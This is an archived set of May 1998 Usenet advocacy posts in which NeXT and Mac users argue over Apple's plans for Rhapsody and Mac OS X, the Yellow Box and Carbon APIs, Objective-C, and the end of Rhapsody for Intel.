(Yellow) doesn't exist at all in MacOS. But since Rhapsody is becoming
OS X, the situation is: the MacOS API doesn't exist natively in OS X.
The Carbon API in OS X will work on MacOS. And the Yellow API will work
on OS X and Windows.
In short: if you want to write OS X apps, you can use either Carbon
or Yellow. If you want them to work on MacOS, use Carbon. If you want
them to work on Windows, use Yellow. If you don't care about MacOS or
Windows (unlikely), and don't have any existing code investment, then
use Yellow because it's better than Carbon, all else being equal.
> Plus, they're using Objective C (on Rhapsody). Why not use the industry
> standard C/C++? I guess this is Apple's way of Thinking Different.
OpenStep/NEXTSTEP (the predecessors of Yellow) have used Objective-C
for a decade, this isn't some new thing they decided to switch to just
to be different.
And, speaking as a professional C++ programmer: Objective-C is better.
A lot of the tricks they pull in the Yellow APIs would be extremely
difficult or inconvenient to do in C++.
Furthermore, you can use all the C code you want in Objective-C. You can
also use all the C++ code you want, since the language Apple uses is
actually Objective-C++, but you have to use Objective-C in order to
access the Yellow APIs.
Finally, if you don't like Objective-C then you can just write your
whole app in Java, including interfacing to Yellow.
> Also, this DR/CR business is pretty stupid. Why not just call the DRs betas,
> that's what they are.
Who cares what they're called? You're really dredging the bottom of the
barrel attempting to come up with something to insult Apple with,
perhaps having realized that your other arguments are bogus.
Anyway, it really _is_ a developer release, because you have to be a
reigstered Apple developer to get it!
> These are some of the reasons, why I won't even consider using Mac OS.
Ignorance is bliss.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 20 May 1998 12:47:09 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jv1ed$1v6$1@crib.bevc.blacksburg.va.us>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6ju6p0$upi$1@bartlet.df.lth.se> <6juuh5$1nn$1@crib.bevc.blacksburg.va.us> <6juf9b$d0p$1@ns3.vrx.net>
In article <6juf9b$d0p$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <6juuh5$1nn$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> > Is it? I've seen nothing that indicates whether the OS X Finder will
> > be Yellow or Carbon.
> I overheard something to this effect in one of the feedback forums.
To which effect?? That it will be Yellow, or that it will be Carbon?
It sounds like you're implying Carbon. Which of course doesn't make me
happy, but as I think you were pointing out, it would let them run the
same Finder on OS X and Carbon.
Of course, this probably means goodbye to applying services to a file
or folder, Workspace inspector bundles, bundles for extending the file
viewer, etc..
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 20 May 1998 11:37:15 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6juf9b$d0p$1@ns3.vrx.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <tbrown-1805982347260001@mv130.axom.com>
<6jrnc2$4rf$3@ns3.vrx.net> <6ju6p0$upi$1@bartlet.df.lth.se>
<6juuh5$1nn$1@crib.bevc.blacksburg.va.us>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: nurban@crib.bevc.blacksburg.va.us
In <6juuh5$1nn$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> Is it? I've seen nothing that indicates whether the OS X Finder will
> be Yellow or Carbon.
I overheard something to this effect in one of the feedback forums. It
makes a lot of sense to me as well, as it allows the "flagship" application
on the MacOS to run on all their OS's over the transition period from a
single code base, and gain protection et all on the MacOSX "personality".
Maury
From: ink@inconnu.isu.edu (Craig Kelley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 20 May 1998 10:43:10 -0600
Organization: Idaho State University
Message-ID: <6jv16u$hn4$1@inconnu.isu.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6js61j$g18$1@inconnu.isu.edu> <6jtgid$vp6$5@ligarius.ultra.net>
In article <6jtgid$vp6$5@ligarius.ultra.net>,
John Saunders <jws@jws.ultranet.com> wrote:
->>That's pretty stupid. I may as well say that I "wrote" my own web
->>browser because I typed "netscape.exe" in a dos box; instantiating a
->>WebBrowser control ammounts to the same thing...
->
->Thanks. That's precisely the point. Microsoft has made it trivial for third
->parties to include web browsing functionality in their products. Same with
->ftp and gopher. Why is that a bad thing? Why can't Netscape do the same?
->They've got some damn smart people working for them, so that's not much of
->an excuse.
ARRRRRRRRRRRRRRRRRRGGGGGGGGGGGGHHHHHHH!
Are you people _really_ that dense? What do think the whole JOB of
the shell is? To sit around and provide something for us UNIX geeks
to type into? NO! It's called "job control", and its what the
operating system is supposed to do.
The _whole point_ of having an operating system is so that every
application needn't include support for every possible function. Why
on earth would I ever need to include a browser in my application? I
can just use _standard_ system calls and invoke one as needed.
Maybe its _because_ of those "damn smart people" working for Netscape
that they don't fall prey to this ridiculous paradigm. I suppose that
in the future there aren't going to be any applications; you'll just
start up windows and then the Start menu will only have one program
called "MSApplication" which does everthing for you. Then everyone
can make controls for "MSApplication", which will load and unload them
as needed-- effectivly making "MSApplication" the new operating
system.
Then we could have things called "sub-controls" which are loaded and
unloaded inside "fat" or "legacy" controls.
Where's the Word or Excel control? How come Microsoft hasn't been so
generous in giving these ones out -- I mean, they're only out to do
what's _best_ for their customers, right? Personally, I could handle
downloading the Access97 control -- where do I sign up?
This is Craig, signing off --
--
Wheel is turning, but the hamster is dead.
Craig Kelley -- kellcrai@isu.edu
http://www.isu.edu/~kellcrai finger ink@inconnu.isu.edu for PGP block
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
From: "Jonathan Eric Miller" <_jemiller@midway.uchicago.edu>
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Message-ID: <Et9IqF.LGD@midway.uchicago.edu>
Sender: news@midway.uchicago.edu (News Administrator)
Organization: University of Chicago -- Academic Computing Services
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et7vDG.EKB@midway.uchica
Date: Wed, 20 May 1998 15:50:56 GMT
Good point. But, I think quality has a lot to do with it as well.
It's more than just market share or name recognition although that has
something to do with it. I can hardly believe that this late in the game Mac
OS still doesn't have preemptive multitasking or protected memory. IMHO,
these are the basics. If you don't have that, then you're not competitive
and you're immediately out of the running. I think many developers would
agree with me. One fricking stray or NULL pointer and the damn thing is
locked.
When I first started using Mac OS, I couldn't believe it when Mac veterans
told me not to use virtual memory because it wasn't stable. It's been stable
in Windows since 3.1.
Another thing that's bogus about Mac memory management is that fact that you
have to set a fixed memory size for each application, whether they use that
much memory or not. That's weak.
Plus, with Apple changing the APIs around every other week, who's ever going
to bother to learn them. Sure, Mac developers probably will. But, do you
think you're going to attract any developers from other platforms? I doubt
it.
What is the API now?? They've changed it around so much I don't even no
anymore. And is the API consistent across Mac OS and Rhapsody? Win32 is.
Plus, they're using Objective C (on Rhapsody). Why not use the industry
standard C/C++? I guess this is Apple's way of Thinking Different.
Also, this DR/CR business is pretty stupid. Why not just call the DRs betas,
that's what they are. Why try to cover it up. Who ever heard of drawing a
distinction between a developer and consumer release. It's bogus. Call it
what it is.
We'll see how well Apple is able to meld Mac OS and Rhapsody together. Right
now, they're basicall two different products still.
Another thing is the fact that they killed the clone market.
These are some of the reasons, why I won't even consider using Mac OS. Maybe
a few years down the road Apple will convince me to think otherwise
(doubtful), but, until then I stay away from their products.
Jon
--
To reply to me, please remove the _ from my email address.
Dennis J. Boccippio wrote in message ...
>In article <Et7vDG.EKB@midway.uchicago.edu>, "Jonathan Eric Miller"
><_jemiller@midway.uchicago.edu> wrote:
>
>> >
>> >Apple dropped Copland rather than shipping a half-assed mess. The phrase
>> >was that it would have made violently ill. MS does that. Apple does not.
>>
>>
>> If Microsoft products are so terrible, why do they own such a large share
of
>> the market? And don't give me the, "because of their anti-competitive
>> licensing" line, because that doesn't apply on the Mac hardware side of
>> things.
>
>Who knows? Why are Big Macs omnipresent in all cultures? Why did "Cats"
> run so long? Why is "Baywatch" one of the most popular television
> programs in the world? Why are there so few BMWs on the road?
> How many brands of gelatin are there other than Jello, and could you
> identify Jello in a blind taste test? How many other brands of steel
> wool are there other than Brillo, and could you tell them apart?
> Why did Star Trek V have such a huge turnout on opening day? Why did
> every kid in the world need to have a Barney?
>
>Here's a clue: the answer to few of the above questions has anything to
> do with quality, nor can one infer quality from their respective
> market shares.
>
>DJB
>
>--
> _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
> _/ Dr. Dennis J. Boccippio _/
> _/ Global Hydrology and Climate Center, NASA / MSFC HR-20 _/
> _/ Marshall Space Flight Center, AL 35812 _/
> _/ http://fly.hiwaay.net/~djboccip/intro.html _/
> _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
From: anders@common.se
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody Availabilty
Date: Wed, 20 May 1998 15:55:41 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6juue6$n2j$1@nnrp1.dejanews.com>
References: <895532008.29544.0.nnrp-06.9e9826e6@news.demon.co.uk>
Wow, another advocacy newsgroup! :-)
In article <895532008.29544.0.nnrp-06.9e9826e6@news.demon.co.uk>,
john@getafix.demon.co.uk (John Shirlaw) wrote:
> When they origonally bought NeXT they had the first public release of
> Rhapsody as the end of 1997. With the release of DR1 this moved to January
> 1998. Then when DR2 was suggested at CR1 was said to be available in the
> summer of 98, now with the release of DR2 they are saying the fall. When
> they will actually release it seems to be anyone's guess.
I guess I'll just keep posting MacWorld quotes for as long as I see this.
The earliest mention of Rhapsody is from January 97:
"Apple expects to offer developers the first version of Rhapsody in the third
quarter of this year, with the first general release to the public around
January 1998, and the first release that is Mac-program compatible in mid- to
late 1998. Apple expects to support both System 7 and the new Mac OS for
several years, even after Rhapsody ships to the public."
DR1 - check;
Premier - justifiably deemed pointless, work directed to DR2;
Unified (always expected to have separate Blue window) - "mid- to late 98";
Old Mac OS - supported for several years.
When comparing long-term delays (the dark cloud of Copland), it should also be
noted that OS X (1999) isn't at all equivalent to Copland (1996) but rather to
(or better than) Gershwin (1998, I believe).
Bottom line: Rhapsody isn't delayed yet, and the fully-modernized OS project
isn't more behind schedule than the quickest Microsoft OS.
(Not that it will help if they close up again...)
/A
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From: holger@object-factory.REMOVETHIS.com (Holger Hoffstaette)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Yellow box apps on Windows
Date: 20 May 1998 17:08:29 GMT
Organization: the unstoppable code machine
Message-ID: <6jv2md$rqs$1@leonie.object-factory.com>
References: <355c8968.0@206.25.228.5> <6jqhko$sil$1@crib.bevc.blacksburg.va.us>
<joe.ragosta-1905980953030001@wil115.dol.net> <3561DE79.794BDF32@ctron.com>
<6jssi9$v7p$1@crib.bevc.blacksburg.va.us> <35617d4b.4769378@news.sydney.apana.org.au>
<6jupv2$jie$1@news.idiom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
John C. Randolph wrote:
> Seriously though, NeXT succeeded where XVT, Visix Galaxy, and the rest of
> that crowd failed. They do cross-platform with native GUIs.
Uh, John - I don't know what the (hopefully heavily improved) future holds
for YB/Win, but at least on OPENSTEP/Enterprise 4.2 widgets might *look*
like they're native, but certainly are not. Everything inside a window
(NSButton, NSComboBox & friends) is drawn by the window server, and
the controls are *definitely* not the native Win32 controls. Also,
scrolling is annoyingly slow in comparison to Windows' accelerated
scrolling.
I really hope that the new graphics architecture will allow YB/Win
to be more closely tied to Windows - simply to make it a better
citizen.
Holger
--
Object Architect, Object Factory GmbH | It's like a jungle sometimes,
@work: holger"at"object-factory.com | it makes me wonder
@home: hhoff"at"ragnarok.en.uunet.de | how I keep from going under
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Yellow box apps on Windows
Date: 20 May 1998 13:27:20 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jv3po$22r$1@crib.bevc.blacksburg.va.us>
References: <355c8968.0@206.25.228.5> <35617d4b.4769378@news.sydney.apana.org.au> <6jupv2$jie$1@news.idiom.com> <6jv2md$rqs$1@leonie.object-factory.com>
In article <6jv2md$rqs$1@leonie.object-factory.com>, holger@object-factory.REMOVETHIS.com (Holger Hoffstaette) wrote:
> Everything inside a window
> (NSButton, NSComboBox & friends) is drawn by the window server, and
> the controls are *definitely* not the native Win32 controls.
Of course, if they look and feel like the native controls, whether or
not they're "really native" wouldn't matter much.
From: "Edwin E. Thorne" <edwin.thorne@rauland.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: APPLE is forcing best os in the world into obscurity!!
Date: 20 May 1998 17:55:56 GMT
Organization: WorldWide Access - Midwestern Internet Services - www.wwa.com
Message-ID: <01bd8417$dc302960$c07498cf@edwint.rauland.com>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <joe.ragosta-1905982053010001@elk125.dol.net> <01bd8395$ec6d6540$4b620218@ci746489-a.nash1.tn.home.com>
Robb <REMOVErobbh@home.com> wrote in article
<01bd8395$ec6d6540$4b620218@ci746489-a.nash1.tn.home.com>...
> > > Yes, rhapsody for intel 1.0 will be out, but this will be the end of
> rhapsody
> > > for intel. Its true.
>
>
> Is that truely the official word then? No more Rhapsody for Intel. Its
> unfortunate. I've been monitoring a piece called Project Heresy on
> Builder.com and Cnet Radio...
> http://www.news.com/Radio/Features/0,155,205,0.html
> ...where they're discussing Windows alternatives for Intel users. They
> couldn't get BeOS to work due to lack of compatable video divers or some
> such. [snip]
Be Inc. claimed it couldn't run BeOS on the Mac because Apple wouldn't give
them the information that they needed. What's their excuse for not
getting it to work on the Intel platform?
Edwin
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Yellow box apps on Windows
Date: Wed, 20 May 1998 18:17:18 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jv6ne$4j8$1@nnrp1.dejanews.com>
References: <355c8968.0@206.25.228.5> <6jqhko$sil$1@crib.bevc.blacksburg.va.us> <joe.ragosta-1905980953030001@wil115.dol.net> <3561DE79.794BDF32@ctron.com> <6jssi9$v7p$1@crib.bevc.blacksburg.va.us> <35617d4b.4769378@news.sydney.apana.org.au> <6jupv2$jie$1@news.idiom.com>
jcr.remove@this.phrase.idiom.com wrote:
> OpenStep apps on Windoze follow the Windoze Look and Feel. They even
> use the brain-dead Windows open/save panels, which is a pity.
Wouldn't it be nice if there were a user-level preference in Yellow Box for
windows to either (i) use the Windows look-and-feel, or (ii) use a
Rhapsody-like look-and-feel (eg Rhapsody open/save panels, font panels, etc)
wherever possible (we're probably still stuck with menus-within-the-window).
Stefano Pagiola
spagiola@my-dejanews.com
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
spammers: please be sure to add uce@ftc.gov to your mailing list
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: theisen@akaMail.com (Dirk Theisen)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.misc,comp.sys.next.software
Subject: Re: NXHosting is dead ?
Date: Wed, 20 May 1998 20:24:54 +0200
Organization: University of Bonn, Germany
Message-ID: <1d9b0ot.xyglrcusvdihN@rhrz-isdn3-p2.rhrz.uni-bonn.de>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us> <355C6969.6907242B@trilithon.com> <Et0nDE.Ixo@abulafia.in-berlin.de> <6jivae$1ju$1@camel19.mindspring.com>
In article <355CC6E3.F30A0812@nstar.net> Michael J. Peck,
mjpeck@nstar.net writes:
>I don't really think VNC is a viable solution. VNC simply takes a
>picture of the current framebuffer and sends it over the wire with your
>choice of compression. Unlike a real remotability protocol, e.g. X,
>it's inefficient and barely-usable over anything less than 10Mbps
>Ethernet
As I look at the open architecture of VNC:
A "real remotability protocol" can be seen as an efficient compression
protocol. Given a known pixel presentation of an image, a series of
graphics primitives gives a description of the new image (like they were
drawn on an actual screen).
What I want to say is that is is possible to implement a
Rhapsody-optimized VNC compression method (along with the required,
simple ones), which directly uses a repesentation of YellowBox' drawing
primitives to describe the changes.
Both coding and decoding would be very easy to implement and most
efficient at the same time.
The advantage would be that VNC would work with every other Platform,
but /best/ between Rhapsody machines.
Regards,
Dirk
--
No RISC - No fun
From: Jeff.Richmond@uk.sun.comREMOVETHIS (Jeff Richmond - SUN UK - SSIR)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Winners and Losers
Date: 20 May 1998 16:45:40 GMT
Organization: Sun Microsystems UK
Message-ID: <6jv1bk$hu3@flonk.uk.sun.com>
References: <slrn6m4vfs.qkm.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
In article <slrn6m4vfs.qkm.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>, NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel) writes:
[snip]
>
>Perhaps somebody ought to consider why Sun started and keeps x86 Solaris,
>even though it makes its real cash on Sparc Hardware?
>
>* Having x86 Solaris around keeps the company from being seen as overly
> proprietary.
>
>* Having x86 Solaris around, however, has not precluded many Sun SPARC
> hardware purchases.
>
>* When going to Merced, it will be the x86 developers who can grok the
> intricacies of Intel-world motherboards and the associated industry.
> No doubt Merced boards and architecture details outside the CPU
> will be targeted towards the traditional x86 PC market.
>
>
>Sun has the same business model as Apple.
>
>Right down to the not-profitable-but
>really-cool-cross-platform-software-technology-we-are-trying-to-make
>universal division: Java (Sun), Quicktime (Apple).
>
Excellent points ... Sun and Apple do indeed have almost the same business model. Target markets are totally different however ... does Apple have any intention of attempting to gain a foothold in corporate IT?
Many others have stated this but it might be worth saying again: Microsoft is the only major player in the industry to have a software-driven business model.
Jeff Richmond
-standard disclaimer-
From: Jeff.Richmond@uk.sun.comREMOVETHIS (Jeff Richmond - SUN UK - SSIR)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Winners and Losers
Date: 20 May 1998 16:45:23 GMT
Organization: Sun Microsystems UK
Message-ID: <6jv1b3$hu3@flonk.uk.sun.com>
References: <see-below-1905982208000001@209.24.240.108>
In article <see-below-1905982208000001@209.24.240.108>, see-below@not-my-address.com (Matthew Vaughan) writes:
>> b. Merced, one hopes, will be different from the x86 mess, and that
>> may be the appropriate first target for Rhapsody.
>
>I agree that Merced may be an excellent target, but going away only to
>come back later isn't a great strategy. Being low key in the meantime is
>one thing (so as to not piss off Microsoft or draw too many customers from
>PPC or whatever), but dropping out of the market altogether is going to
>make all your customers go away, and in a pissy fit, which makes them that
>much less likely to want to come back to you later.
>
I agree ... leaving a market to rejoin later is a bad idea. Do you think many Newton owners will buy a PDA from Apple after their 'departure'? Not bloody likely.
I am really disappointed that Apple will not continue with Rhapsody/Intel. It truly is (or rather, was) a viable alternative for many people not wanting to run a Microsoft desktop.
I suppose the question for me now is that if I run NT, will the YB development tools be there? Is that enough to keep me happy or do I want the whole Rhapsody/BSD experience? I can't see myself buying a PPC just to do YB development ... yet. But I might in the future if Apple gives me a good transition strategy. Doesn't sound like they will though. *Sigh*.
Jeff Richmond
-standard disclaimer-
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: APPLE is forcing best os in the world into obscurity!!
Date: 20 May 1998 17:00:26 GMT
Message-ID: <6jv27a$fp3$1@newsfep4.sprintmail.com>
References: <6jt7tt$enb$1@newsfep4.sprintmail.com> <6jtodc$gbh$1@news12.ispnews.com>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
Cc: ZicoKnows@hotmail.com
In <6jtodc$gbh$1@news12.ispnews.com> "Zico" wrote:
> x-no-archive: yes
>
> macghod@concentric.net wrote:
>
> >Yes, rhapsody for intel 1.0 will be out, but this will be the end of
rhapsody
> >for intel. Its true.
> >From: Jordan Dea-Mattson <jordan@apple.com>
> >Apple will be delivering Rhapsody 1.0 for PowerPC and PC Compatibles this
> >fall. This - not DR2 - will be the last Rhapsody for PC Compatibles.
>
>
> Was this a private email to you? I was just skimming, but I
> didn't see it at MacOSRumors, MacInTouch, or MacNN. It's
> pretty huge news, so I would think it would pop up *somewhere*.
It was email, but not private email sent to me. It was a public email to a
public rhapsody list.
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: don_arb@wolfenet.com (Don Arbow)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Wed, 20 May 1998 10:48:57 -0700
Organization: EveryDay Objects, Inc.
Message-ID: <don_arb-2005981048570001@sea-ts1-p30.wolfenet.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et9IqF.LGD@midway.uchicago.edu>
In article <Et9IqF.LGD@midway.uchicago.edu>, "Jonathan Eric Miller"
<_jemiller@midway.uchicago.edu> wrote:
:
: When I first started using Mac OS, I couldn't believe it when Mac veterans
: told me not to use virtual memory because it wasn't stable. It's been stable
: in Windows since 3.1.
:
So you're saying that VM wasn't stable in Windows 3.0? New technologies
on a platform take a little time to shake out. VM on the Mac is now much
more stable than in the original versions.
: Plus, with Apple changing the APIs around every other week, who's ever going
: to bother to learn them. Sure, Mac developers probably will. But, do you
: think you're going to attract any developers from other platforms? I doubt
: it.
:
: What is the API now?? They've changed it around so much I don't even no
: anymore. And is the API consistent across Mac OS and Rhapsody? Win32 is.
:
The Mac API has not changed since the days of the 128. Some toolbox calls
have been tweaked, new ones added for new technologies like QuickTime and
Apple has removed the 8 character name restriction of the old linker.
With Carbon, you get to keep the old API to run on Mac OS X. If you want
cross platform, then you need to use the Yellow Box APIs.
: Plus, they're using Objective C (on Rhapsody). Why not use the industry
: standard C/C++? I guess this is Apple's way of Thinking Different.
:
Because when the Next was released, the industry standard was C/Pascal,
and didn't have object capabilities. C++ was just a glimmer in
Stroustrop's (sp?) eye. Ask a C++ programmer how to define an object
midway in a heirarchy when all you have is a library and a header file,
impossible you say? Where in C++ is the support for distributed objects?
Only with Obj-C, which is light years ahead of C++.
: Also, this DR/CR business is pretty stupid. Why not just call the DRs betas,
: that's what they are. Why try to cover it up. Who ever heard of drawing a
: distinction between a developer and consumer release. It's bogus. Call it
: what it is.
:
Because companies like Microsoft have blurred the naming distinction by
selling betas to customers who just wanted to play with a new release and
not report bugs. DR is just that, a developer release. If it was labeled
beta, then you'd have customers asking if they could get a copy. Rhapsody
at the moment is probably at beta stage, but Apple is not ready for
widespread beta testing.
: We'll see how well Apple is able to meld Mac OS and Rhapsody together. Right
: now, they're basicall two different products still.
:
: Another thing is the fact that they killed the clone market.
:
No, the clones killed the clone market by not honoring their marketing
agreements.
Don
--
Don Arbow, Partner, CTO
EveryDay Objects, Inc.
don_arb@wolfenet.com <-- remove underscore to reply
http://www.edo-inc.com
Date: Wed, 20 May 1998 14:13:32 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No Mac OS X for Intel...?
Message-ID: <joe.ragosta-2005981413320001@wil112.dol.net>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg> <6juunr$1od$1@crib.bevc.blacksburg.va.us>
In article <6juunr$1od$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> In article <3562EA10.3ABFE6B5@pacific.net.sg>, Koo
<amind@pacific.net.sg> wrote:
>
> > > > > ] Rhapsody 1.0 is the last version of Rhapsody for any platform.
>
> > Does that mean that Rhapsody 1.0 for PPC is also going to be over?
>
> Uh, that's what "Rhapsody 1.0 is the last version of Rhapsody for any
> platform" would tend to imply, wouldn't it?
However, Rhapsody PPC will be replaced by Mac OS X. For PPC users, this is
a plus.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 20 May 1998 13:54:52 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6junbc$is5$1@ns3.vrx.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6ju6p0$upi$1@bartlet.df.lth.se>
<6juuh5$1nn$1@crib.bevc.blacksburg.va.us> <6juf9b$d0p$1@ns3.vrx.net>
<6jv1ed$1v6$1@crib.bevc.blacksburg.va.us>
Mime-Version: 1.0
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Cc: nurban@crib.bevc.blacksburg.va.us
In <6jv1ed$1v6$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> To which effect?? That it will be Yellow, or that it will be Carbon?
Carbon.
> happy, but as I think you were pointing out, it would let them run the
> same Finder on OS X and Carbon.
Yup - and OS8 too. Either they have to have two Finders for the next nnn
years or they can make a Carbon one and get everyone. From a resurces
standpoint it makes sense - again, IF I heard right.
> Of course, this probably means goodbye to applying services to a file
> or folder, Workspace inspector bundles, bundles for extending the file
> viewer, etc..
Likely yes.
Maury
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Message-ID: <kKQV2$f6wg9x@cc.usu.edu>
From: root@127.0.0.1
Date: 20 May 98 08:31:39 MDT
References: <6jrak9$936$1@geraldo.cc.utexas.edu>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
In <6jrak9$936$1@geraldo.cc.utexas.edu> Kurt D. Bollacker wrote:
> Here's a list of things that I would miss
> comparing NeXTSTEP 3.2 on NeXT Hardware to MacOS X on Apple Hardware:
>
> [snip... Lots of features we NeXT users have come to know and love]
>
> So given the loss of all of these things, and the fact that running
> legacy Mac apps is worthless to me, why should I move to MacOSX
> instead of, say, Linux when I transition to a new machine? I have no
> need for MS apps or DTP tools. Please, someone, try to convince me
> that I am in error and OSX is worth me investing $3K in a Mac instead
> of a Linux PC!!
Get a Linux PC. It's very clear NeXT, ...er... I mean Apple, no longer
wants our kind as users.
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Steve Jobs fulfills fiduciary responsibility
Date: Wed, 20 May 1998 11:57:46 GMT
Organization: MiCMAC
Sender: news@micmac.com
Message-ID: <Et97wA.Mp0@micmac.com>
References: <6j9vr4$flq@nntp02.primenet.com> <6ja5o4$k4$1@news.idiom.com>
<Esvx8v.6n8@micmac.com> <6jcl93$1cc$26@ironhorse.plsys.co.uk>
<Et04LK.4zv@micmac.com> <6jn9v4$1cc$71@ironhorse.plsys.co.uk>
Mime-Version: 1.0
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Content-Transfer-Encoding: 8bit
Cc: malcolm@plsys.co.uk
This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
(<6jn9v4$1cc$71@ironhorse.plsys.co.uk>) by mmalcolm crawford:
> In <Et04LK.4zv@micmac.com> Michel Coste wrote:
>
> > I see personnally Mac OS X as Rhapsody 2.0!
> >
> Ah, this is because you have a clue.
> cf Henry's point! :-)
>
Well... at least one! Thanks! (?)
And I happen to agree with Henry. The problem is the clueless are the less
speachless...
People here have difficulties understanding simple things.
Even the MacRumor people have more clues! =;)
mc
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 20 May 1998 12:09:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B188786A-1A7F6@206.165.43.125>
References: <joe.ragosta-2005980846240001@wil131.dol.net>
nntp://news.primenet.com/comp.sys.mac.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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Joe Ragosta <joe.ragosta@dol.net> said:
>> BTW, Joe. There's no difference in source-code between 601 NuBus Macs
>and
>> 68K Macs on System 7.x, so if you are going to support one, you're going
to
>> support the other.
>
>Really? So 601 and 68K Macs use exactly the same source code? All this
>stuff about PPC native apps was my imagination?
